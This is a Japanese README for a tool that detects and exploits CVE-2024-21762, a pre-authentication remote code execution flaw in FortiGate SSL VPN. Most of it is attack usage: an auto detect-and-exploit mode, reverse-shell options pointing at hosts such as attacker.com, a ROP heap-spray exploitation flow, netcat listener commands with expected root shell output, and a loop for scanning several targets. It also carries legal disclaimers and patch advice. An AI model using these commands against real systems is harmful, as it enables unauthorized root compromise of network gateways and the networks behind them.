## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0X13-BYTEZER0-CVE-2024-21762
# CVE-2024-21762 - FortiGate SSL VPN RCE 検出および悪用ツール
  
**CVE-2024-21762 の検出および悪用ツール - FortiGate SSL VPN の重大な脆弱性**
> ⚠️ **法的注意** : このツールは**許可されたテスト環境でのみ使用** してください。許可されていないシステムでの使用は**違法** であり、深刻な法的結果を招く可能性があります。
## 概要
CVE-2024-21762 は、FortiGate SSL VPN コンポーネントにおける重大な脆弱性であり、**認証前のリモートコード実行 (RCE)** を可能にします。この欠陥は、Transfer-Encoding chunked を使用した HTTP リクエストの脆弱なパース処理に存在し、`sslvpnd` コンポーネントでの out-of-bounds write を引き起こします。
### 技術的詳細
属性| 情報
---|---
**CVE ID**| CVE-2024-21762
**脆弱性**| sslvpnd における Out-of-bounds write
**タイプ**| 認証前のリモートコード実行 (RCE)
**CVSS Score**| 9.8 (Critical)
**影響を受けるコンポーネント**| FortiOS SSL VPN
**脆弱なバージョン**| 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2
## 機能
✅ **脆弱性の検出** \- 不正なリクエストにより脆弱な FortiGate を特定
✅ **ベースラインテスト** \- テスト前にサーバーの通常の動作を確認
✅ **自動モード** \- 脆弱性を自動で検出し悪用
✅ **リバースシェル** \- IP/ポート設定による bash リバースシェルをサポート
✅ **入力検証** \- 悪用前に IP とポートを検証
✅ **詳細レポート** \- 修正推奨事項を含むレポートを生成
✅ **堅牢なエラー処理** \- 安全な接続と例外の管理
## 要件
* Python 3.7 以上
* Python 標準ライブラリモジュール (socket, ssl, argparse, datetime, time, re)
* ターゲットへのネットワークアクセス (ポート 443 またはカスタム)
## インストール
root@kitploit:~
# リポジトリをクローン
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# 構文を確認
python -m py_compile EXPLOIT.py
# スクリプトを実行
python EXPLOIT.py -h
## 使用方法
### 基本的な使用方法
root@kitploit:~
# 簡単な検出テスト
python EXPLOIT.py 192.168.1.100
# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443
# タイムアウト増加
python EXPLOIT.py 192.168.1.100 --timeout 20
### 自動モード (検出 + 悪用)
root@kitploit:~
# 事前設定済みリバースシェルによる自動モード
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# 資格情報なしの自動モード (対話的に要求)
python EXPLOIT.py 192.168.1.100 --auto
### ROP モード - ヒープスプレーによる高度な悪用
ROP モードは、特定のターゲット (FortiOS 7.4.2) に対してヒープスプレーを用いた2段階の悪用を実装します:
root@kitploit:~
# Node.js リバースシェルを使用した ROP 悪用
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# 低速ターゲット向けタイムアウト増加
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
**ROP 悪用フロー:**
1. ステージ 1: ROP ガジェットを含む 1.8MB のヒープスプレーを送信
2. CPU 処理のため 2 秒待機
3. ステージ 2: 4137 バイトのチャンクで OOB write をトリガー
4. ペイロード実行のため 3 秒待機
5. Node.js リバース接続確立
**リスニングサーバー側:**
root@kitploit:~
# Linux/Mac/Windows (netcat 使用)
nc -lnvp 4242
# 期待される出力:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
**⚠️ 重要な注意:** ROP モードは **FortiOS 7.4.2.F-build2571** 向けに最適化されています。ハードコードされた ROP チェーンのオフセットのため、他のバージョンでは動作しない可能性があります。
### リバースシェルによる手動テスト
root@kitploit:~
# リバースシェルペイロードを送信
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# 複数オプションの組み合わせ
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
### 利用可能なオプション
root@kitploit:~
位置引数:
target テスト対象のホスト名または IP
オプション引数:
-h, --help このヘルプメッセージを表示
-t, --target HOSTNAME ターゲットのホスト名または IP (代替)
-p, --port PORT SSL VPN ポート (デフォルト: 443)
--timeout SECONDS タイムアウト (秒) (デフォルト: 10)
-li, --lhost IP リバースシェルを受信するローカル IP
-lp, --lport PORT リバースシェルを受信するローカルポート
--no-baseline ベースラインテストをスキップ
--auto 自動モード: 検出して悪用
--rop ROP モード: ヒープスプレーを使用した高度な悪用 (FortiOS 7.4.2)
-v, --version スクリプトのバージョンを表示
## 完全な使用例
### 1\. 簡単な検出
root@kitploit:~
python EXPLOIT.py 192.168.1.100
脆弱性がある場合の期待される出力:
root@kitploit:~
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
### 2\. リバースシェルによる自動悪用
root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
リスニングサーバー側:
root@kitploit:~
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
### 3\. 複数ターゲットのテスト
root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
## 動作の仕組み
### 検出フロー
1. **ベースラインテスト** \- 通常の HTTP リクエストを送信し、標準的な動作を確認
2. **不正なリクエスト** \- 脆弱な chunked encoding を使用した不正な HTTP リクエストを送信
3. **分析** \- 応答を分析して脆弱性の兆候を検出:
* 接続の突然の切断
* タイムアウト/サーバークラッシュ
* 異常な TLS アラート
4. **レポート** \- ステータスと推奨事項を含むレポートを生成
### 悪用フロー (自動モード)
1. 検出テストを実行
2. 脆弱な場合、リバースシェルペイロードを注入
3. リバース接続を待機
4. 最終レポートを生成
## 脆弱性の指標
このツールは、以下のいずれかの動作を検出した場合、ターゲットを脆弱と判断します:
* ✓ 接続が突然切断される (空の応答)
* ✓ ペイロード送信後のタイムアウト (サーバークラッシュ)
* ✓ TLS アラート受信 (sslvpnd がクラッシュ)
* ✓ 接続リセット (Connection Reset by Peer)
## 影響を受けるバージョン
## 修正方法
### 即時対応
1. **FortiOS を修正バージョンに更新:**
* FortiOS 7.0.14+
* FortiOS 7.2.7+
* FortiOS 7.4.3+
2. **一時的な隔離:**
* SSL VPN への外部アクセスを無効化
* 管理アクセスを制限
3. **監視:**
* 悪用の兆候についてログを確認
* 資格情報と異常なアクセスを確認
### 事後確認
root@kitploit:~
# FortiOS バージョンを確認
python EXPLOIT.py seu-fortinet.com
結果に「NÃO VULNERÁVEL」と表示されれば、パッチが正常に適用されています。
## プロジェクト構造
root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py # メインの悪用スクリプト
├── README.md # このファイル
├── LICENSE # MIT ライセンス
└── .gitignore # Git 設定
## クラスのメソッド
### CVE2024_21762_Detector
## エラー処理
* ✓ 堅牢な入力検証
* ✓ SSL/TLS 例外処理
* ✓ 接続のタイムアウト
* ✓ ソケットの安全なクローズ
* ✓ 説明的なエラーメッセージ
## 制限事項
* ⚠️ ターゲットへのネットワーク接続が必要
* ⚠️ 脆弱性を検出しますが、悪用の成功は保証しません
* ⚠️ リバースシェルはターゲット環境に依存します (bash が必要)
* ⚠️ 制限の厳しいファイアウォールでは動作しません
## FAQ
**Q: Windows 環境で使用できますか?** A: はい、Python スクリプトは Windows でも動作しますが、標準の bash リバースシェルは機能しません。カスタムペイロードが必要になります。
**Q: 悪用が成功したかどうかを確認するには?** A: リバースシェルを待ち受けるマシン (nc/ncat) を確認してください。スクリプトは進行状況を示すメッセージを表示します。
**Q: 複数のターゲットに対して使用できますか?** A: はい、bash/PowerShell スクリプトを作成して IP リストを反復処理できます。
**Q: 通常モードと自動モードの違いは?** A: 自動モードは脆弱性が見つかった場合に自動的に悪用します。通常モードは検出のみ行います。
## コントリビューション
バグを見つけた場合や提案がある場合は、Issue を開くかプルリクエストを送ってください!
## ライセンス
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
## 免責事項
このソフトウェアは、研究および許可されたテスト目的のために「現状のまま」提供されます。作者は以下について責任を負いません:
* 許可されていない使用による損害
* データ損失
* 本番システムへの影響
* 許可されていない使用による法的結果
**責任を持って、許可された環境でのみ使用してください**
## 参照
* Fortinet セキュリティアドバイザリ
* NVD - CVE-2024-21762
* CVSS 計算機
## 著者
サイバーセキュリティの教育および研究目的で開発されました。
* * *
⚠️ **注意** : このツールは、自分が所有するか、テストする明示的な許可があるシステムでのみ使用してください。許可のない悪用は犯罪です。